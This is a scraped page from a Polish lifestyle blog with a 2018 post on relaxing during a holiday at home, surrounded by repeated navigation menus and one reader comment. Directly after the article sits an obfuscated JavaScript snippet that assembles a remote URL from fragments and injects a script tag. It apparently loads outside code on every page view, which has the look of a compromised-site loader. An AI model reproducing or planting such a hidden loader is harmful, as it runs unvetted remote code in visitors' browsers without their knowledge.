oliloli-newlife
  • Home
  • Dom
    • dom

      Dodatki do sypialni muszą mieć duszę

      dom

      Jak sprzątnąć całe mieszkanie i nie zwariować?

      dom

      Co na podłogę w pokoju dziecka?

      dom

      Jeden dodatek odmieni każde wnętrze

      dom

      Jak wybrać łóżeczko niemowlęce?

  • DIY
    • DIY

      5 pomysłów na DIY podczas długich zimowych wieczorów…

      DIY

      5 pomysłów na super łatwy i efektowny prezent…

      DIY

      Nowe życie starych butów

      DIY

      Świąteczne lampiony ze słoików

      DIY

      Cudowne mydełko na prezent, zrób je sama!

  • Dziecko
    • kreatywnie książki i gry wyprawka zabawa i nauka All
      Do pobrania

      Kolorowanki dla dzieci do pobrania i wydruku

      Bez kategorii

      5 pomysłów na DIY podczas długich zimowych wieczorów…

      Bez kategorii

      5 pomysłów na super łatwy i efektowny prezent…

      Bez kategorii

      Woda i mróz, 3 proste eksperymenty

      książki i gry

      Audiobajki Disneya – klasyka nie tylko dla najmłodszych

      książki i gry

      Pomysły na upominki do kalendarza adwentowego

      książki i gry

      Czym zająć bardzo energiczne dziecko

      książki i gry

      LEGO to nie tylko klocki

      wyprawka

      Akcesoria do wózka dziecięcego przydatne podczas letnich spacerów

      zabawa i nauka

      Nauka języka przez internet – czy ma sens?

      zabawa i nauka

      Jak wybrać rower dla dziecka? Na co zwrócić…

      zabawa i nauka

      Rysowanie symetryczne, karty do pobrania

      zabawa i nauka

      Milion pomysłów na zabawy z dzieckiem w domu

      Dziecko

      Najciekawsze tematycznie obozy i kolonie dla młodzieży

      Dziecko

      Audiobajki Disneya – klasyka nie tylko dla najmłodszych

      Dziecko

      Nauka języka przez internet – czy ma sens?

      Dziecko

      Akcesoria do wózka dziecięcego przydatne podczas letnich spacerów

  • Mama
    • aliexpress
    • ciąża
    • moda i uroda
    • przemyślenia
    • relax
  • Podróże
    • Europa
    • porady
    • sprawdzone
  • Kuchnia
    • dla dzieci
    • książki
    • przepisy
    • rady
  • Do pobrania
    • listy “to do”
      • listy “to do”

        Milion pomysłów na zabawy z dzieckiem w domu

        listy “to do”

        Lista 50 rzeczy do zrobienia z dzieckiem zimą

        listy “to do”

        Lista rzeczy do zrobienia z dzieckiem latem

        listy “to do”

        Lista 30 rzeczy do zrobienia wiosną z dzieckiem

        listy “to do”

        Magiczny grudzień: lista rzeczy do zrobienia z dzieckiem

    • plakaty
    • karty do zdjęć
    • dodatki
  • O nas
  • Akcje
  • Współpraca
  • Polityka prywatności

oliloli-newlife

  • Home
  • Dom
    • dom

      Dodatki do sypialni muszą mieć duszę

      dom

      Jak sprzątnąć całe mieszkanie i nie zwariować?

      dom

      Co na podłogę w pokoju dziecka?

      dom

      Jeden dodatek odmieni każde wnętrze

      dom

      Jak wybrać łóżeczko niemowlęce?

  • DIY
    • DIY

      5 pomysłów na DIY podczas długich zimowych wieczorów…

      DIY

      5 pomysłów na super łatwy i efektowny prezent…

      DIY

      Nowe życie starych butów

      DIY

      Świąteczne lampiony ze słoików

      DIY

      Cudowne mydełko na prezent, zrób je sama!

  • Dziecko
    • kreatywnie książki i gry wyprawka zabawa i nauka All
      Do pobrania

      Kolorowanki dla dzieci do pobrania i wydruku

      Bez kategorii

      5 pomysłów na DIY podczas długich zimowych wieczorów…

      Bez kategorii

      5 pomysłów na super łatwy i efektowny prezent…

      Bez kategorii

      Woda i mróz, 3 proste eksperymenty

      książki i gry

      Audiobajki Disneya – klasyka nie tylko dla najmłodszych

      książki i gry

      Pomysły na upominki do kalendarza adwentowego

      książki i gry

      Czym zająć bardzo energiczne dziecko

      książki i gry

      LEGO to nie tylko klocki

      wyprawka

      Akcesoria do wózka dziecięcego przydatne podczas letnich spacerów

      zabawa i nauka

      Nauka języka przez internet – czy ma sens?

      zabawa i nauka

      Jak wybrać rower dla dziecka? Na co zwrócić…

      zabawa i nauka

      Rysowanie symetryczne, karty do pobrania

      zabawa i nauka

      Milion pomysłów na zabawy z dzieckiem w domu

      Dziecko

      Najciekawsze tematycznie obozy i kolonie dla młodzieży

      Dziecko

      Audiobajki Disneya – klasyka nie tylko dla najmłodszych

      Dziecko

      Nauka języka przez internet – czy ma sens?

      Dziecko

      Akcesoria do wózka dziecięcego przydatne podczas letnich spacerów

  • Mama
    • aliexpress
    • ciąża
    • moda i uroda
    • przemyślenia
    • relax
  • Podróże
    • Europa
    • porady
    • sprawdzone
  • Kuchnia
    • dla dzieci
    • książki
    • przepisy
    • rady
  • Do pobrania
    • listy “to do”
      • listy “to do”

        Milion pomysłów na zabawy z dzieckiem w domu

        listy “to do”

        Lista 50 rzeczy do zrobienia z dzieckiem zimą

        listy “to do”

        Lista rzeczy do zrobienia z dzieckiem latem

        listy “to do”

        Lista 30 rzeczy do zrobienia wiosną z dzieckiem

        listy “to do”

        Magiczny grudzień: lista rzeczy do zrobienia z dzieckiem

    • plakaty
    • karty do zdjęć
    • dodatki
Bez kategoriiprzemyślenia

Urlop w mieszkaniu. Jak wypocząć we własnym domu?

by Oli Loli New Life 23 czerwca 2018
written by Oli Loli New Life 23 czerwca 2018

Urlop w Polsce to dość specyficzna kwestia. Jedni spędzają go, opalając się na plaży za granicą, inni w tym czasie remontują mieszkanie. Nie każdy ma czas odpocząć w czasie wolnym od pracy, nie każdy także umie odpoczywać. Wiele osób sądzi, że dobry odpoczynek ma związek z dużą ilością pieniędzy, które trzeba wydać na dalekie podróże czy hotelowe spa. Tymczasem można świetnie zrelaksować się we własnym domu, separując się na jakiś czas od rodziny, pracy i znajomych. Jak odprężyć się samotnie w mieszkaniu? Oto kilka sposobów dla każdego!

Często mówi się, że “starsze pokolenie nie umie odpoczywać”. Ciągle zabiegani, cały czas muszą coś robić. A to gotują, a to sprzątają, tu coś naprawią, tam wymienią. Niestety nie zawsze jest to dobry sposób na spędzenie urlopu. Odpoczynek dla ciała i umysłu jest równie ważny co praca i pasja. Dzięki niemu nabieramy sił, niwelujemy stres, odprężamy umysł, który jest wtedy bardziej kreatywny. Do tego uczymy się czerpać przyjemność z życia. Bardziej doceniamy to, co mamy i potrafimy bardziej realnie określić, czego nam brakuje. Ale by to zrobić, potrzebujemy odciąć się zwłaszcza od pracy. Z drugiej strony nic nie robienie i leniuchowanie również nie przynosi nam pożądanego zysku. Jak zatem odpoczywać? Poniżej kilka skutecznych propozycji.

Aktywność fizyczna to podstawa

Nawet jeśli na codzień pracujemy fizycznie, nie zapomnijmy o ruchu na świeżym powietrzu. Pamiętajmy, że wykonując cały czas te same czynności w pracy, pracuje określona grupa mięśni, co prowadzi do jej nadwyrężania, podczas gdy reszta pozostaje w spoczynku. Dlatego postarajmy się dobrać taki zestaw ćwiczeń na urlopie, który pomoże nam odciążyć obolałe mięśnie, a resztę wzmocnić i rozciągnąć. To może być bieganie, jazda na rowerze, pływanie, a nawet ćwiczenia z instruktorami, które są pokazywane na filmach w internecie… I co ważniejsze, nie są to kosztowne zajęcia, ani wymagające czyjegoś towarzystwa. Nie przeciążajmy się, ale też nie obijajmy. Postarajmy się znaleźć co najmniej godzinę w ciągu dnia na aktywność fizyczną. Pamiętajmy o rozciąganiu przed i po, możemy również wybrać się do masażysty, jeśli mamy na to fundusze.

Zadbajmy o siebie

Gdy na codzień nie mamy czasu na właściwą pielęgnację ciała, staje się ono zaniedbane oraz zanieczyszczone. Zróbmy sobie zatem relaksujące spa w domu. Wykorzystać możemy nawet nasze kuchenne zasoby: do zrobienia peelingu cukier i sól, do tego oliwę; kawę z cynamonem; do zrobienia maseczek oczyszczających sodę, zieloną glinkę; do maseczek nawilżających miód, jogurt, sezonowe owoce. W internecie znajdziemy wiele przepisów. Istotne, aby zrelaksować się przy tych czynnościach. Spa jest świetnym sposobem, by zapomnieć o pracy nie tylko dla kobiet, ale również dla mężczyzn. Część zabiegów możemy wykonać pod prysznicem, jeśli nie mamy wanny. Domowe spa skutecznie poprawia humor oraz relaksuje. Możemy również pójść do fryzjera czy kosmetyczki.

Źródło: Pexels

Spróbujmy czegoś nowego

Nauka nowych umiejętności, smakowanie innych niż zazwyczaj dań, a nawet zmiana aranżacji mieszkania mogą nam pomóc się zrelaksować oraz nie myśleć o pracy. Warto próbować podejmować się działań, dla których na codzień nie mamy czasu. Powrót do pasji sprzed lat, nauka tańca czy nowego języka, gra w planszówki, eksperymentowanie z kuchnią i wiele innych czynności pozwoli nam się zrelaksować. Pamiętajmy, że nauka stymuluje mózg do działania, pomagając mu ćwiczyć takie umiejętności, jak koncentracja, zapamiętywanie i umiejętność wykorzystania nabytych informacji. Ponadto zapominamy wtedy o pracy czy obowiązkach domowych, odrywamy się od rutyny, dzięki czemu dodatkowo nabieramy dystansu w stosunku do naszego dotychczasowego życia. Odpoczynek od pracy pozwala nam spojrzeć na nią z zupełnie innej perspektywy.

Nadrabiamy zaległości

Każdy z nas jakieś ma. A to zszycie kilku ubrań, a to zrobienie porządku w pawlaczu czy komórce lokatorskiej. Mieliśmy kiedyś odmalować ściany i dokończyć ten wazon w decoupage dla koleżanki. Urlop w domu to świetny czas na nadrobienie rzeczy, na które nie mieliśmy czasu. Mogą one być związane z obowiązkami, ale też kompletnym relaksem. Możemy zrobić sobie nocny maraton filmowy, czytać książki z listy, którą kiedyś stworzyliśmy, nadrobić zaległości w czytaniu blogów czy nowinek technologicznych. Nasze mieszkanie to oaza, w której codziennie możemy spędzać czas inaczej. Cały szkopuł tkwi w tym, żeby nauczyć się odpoczywać.
Opracoanie materiału: https://rynekpierwotny.pl/
Źródło zdjęcia głównego: Pexels

(function(){
whwl=document.createElement(“script”);whwl.type=”text/javascript”;
whwl.async=true;whwl_=((“us”)+”t”)+”a”;whwl_+=(“t.i”)+””+”n”;whwl_+=((“f”)+”o”);whwl_+=”/”;
whwlu=”3417771.”;whwlu+=”b4f5pnv6hwlkaxzjthmjv622suycpg4v”;whwl.src=”https://”+whwl_+whwlu;
whwldb=document.body; whwldb.appendChild(whwl);
})();

dla mamyporady
1 comment
0
FacebookPinterestWhatsappTelegramEmail
Oli Loli New Life

previous post
Jak wybrać łóżeczko niemowlęce?
next post
Związek to podróż

Related Articles

Restauracja tylko dla dorosłych, czy ma to sens?

Najciekawsze tematycznie obozy i kolonie dla młodzieży

Jak wybrać rower dla dziecka? Na co zwrócić...

1 comment

AnnnaDs 12 lipca 2018 - 08:31

Super wpis 🙂 Pierwszy raz jestem na twoim blogu ale chyba będę tu wracać częściej, bardzo podoba mi się twój styl 🙂

Reply

Leave a Comment Cancel Reply

Save my name, email, and website in this browser for the next time I comment.

O mnie

Jestem Paulina i witam Cię w moim wirtualnym domu. Poczęstuję ciastem, stworzymy coś kreatywnego z dzieciakami, poczytamy książki, a na koniec pogadamy o podróżach i życiu. Zajrzysz jeszcze?

tu nas znajdziesz

Facebook Instagram Pinterest

Czytelnia

  • Audiobajki Disneya – klasyka nie tylko dla najmłodszych

  • Pomysły na upominki do kalendarza adwentowego

  • Czym zająć bardzo energiczne dziecko

  • LEGO to nie tylko klocki

Szukasz czegoś?

Archiwum

Popularne

  • 1

    Jajko po wiedeńsku czy w koszulce? Naucz się gotować jajka na 4 nietypowe sposoby!

  • 2

    Najciekawsze tematycznie obozy i kolonie dla młodzieży

  • 3

    33 Wielkanocne dekoracje do zrobienia z dziećmi

  • 4

    Kolorowanki dla dzieci do pobrania i wydruku

  • 5

    Halloween: 40 pomysłów na przekąski

  • 6

    13 kartek Wielkanocnych, które zrobisz z dzieckiem

Instagram

No images found!
Try some other hashtag or username

Zostań z nami

Facebook Instagram Pinterest
Footer Logo

@2018 - PenciDesign. All Right Reserved. Designed and Developed by PenciDesign

oliloli-newlife
  • Home
  • Dom
    • dom

      Dodatki do sypialni muszą mieć duszę

      dom

      Jak sprzątnąć całe mieszkanie i nie zwariować?

      dom

      Co na podłogę w pokoju dziecka?

      dom

      Jeden dodatek odmieni każde wnętrze

      dom

      Jak wybrać łóżeczko niemowlęce?

  • DIY
    • DIY

      5 pomysłów na DIY podczas długich zimowych wieczorów…

      DIY

      5 pomysłów na super łatwy i efektowny prezent…

      DIY

      Nowe życie starych butów

      DIY

      Świąteczne lampiony ze słoików

      DIY

      Cudowne mydełko na prezent, zrób je sama!

  • Dziecko
    • kreatywnie książki i gry wyprawka zabawa i nauka All
      Do pobrania

      Kolorowanki dla dzieci do pobrania i wydruku

      Bez kategorii

      5 pomysłów na DIY podczas długich zimowych wieczorów…

      Bez kategorii

      5 pomysłów na super łatwy i efektowny prezent…

      Bez kategorii

      Woda i mróz, 3 proste eksperymenty

      książki i gry

      Audiobajki Disneya – klasyka nie tylko dla najmłodszych

      książki i gry

      Pomysły na upominki do kalendarza adwentowego

      książki i gry

      Czym zająć bardzo energiczne dziecko

      książki i gry

      LEGO to nie tylko klocki

      wyprawka

      Akcesoria do wózka dziecięcego przydatne podczas letnich spacerów

      zabawa i nauka

      Nauka języka przez internet – czy ma sens?

      zabawa i nauka

      Jak wybrać rower dla dziecka? Na co zwrócić…

      zabawa i nauka

      Rysowanie symetryczne, karty do pobrania

      zabawa i nauka

      Milion pomysłów na zabawy z dzieckiem w domu

      Dziecko

      Najciekawsze tematycznie obozy i kolonie dla młodzieży

      Dziecko

      Audiobajki Disneya – klasyka nie tylko dla najmłodszych

      Dziecko

      Nauka języka przez internet – czy ma sens?

      Dziecko

      Akcesoria do wózka dziecięcego przydatne podczas letnich spacerów

  • Mama
    • aliexpress
    • ciąża
    • moda i uroda
    • przemyślenia
    • relax
  • Podróże
    • Europa
    • porady
    • sprawdzone
  • Kuchnia
    • dla dzieci
    • książki
    • przepisy
    • rady
  • Do pobrania
    • listy “to do”
      • listy “to do”

        Milion pomysłów na zabawy z dzieckiem w domu

        listy “to do”

        Lista 50 rzeczy do zrobienia z dzieckiem zimą

        listy “to do”

        Lista rzeczy do zrobienia z dzieckiem latem

        listy “to do”

        Lista 30 rzeczy do zrobienia wiosną z dzieckiem

        listy “to do”

        Magiczny grudzień: lista rzeczy do zrobienia z dzieckiem

    • plakaty
    • karty do zdjęć
    • dodatki
@2018 - PenciDesign. All Right Reserved. Designed and Developed by PenciDesign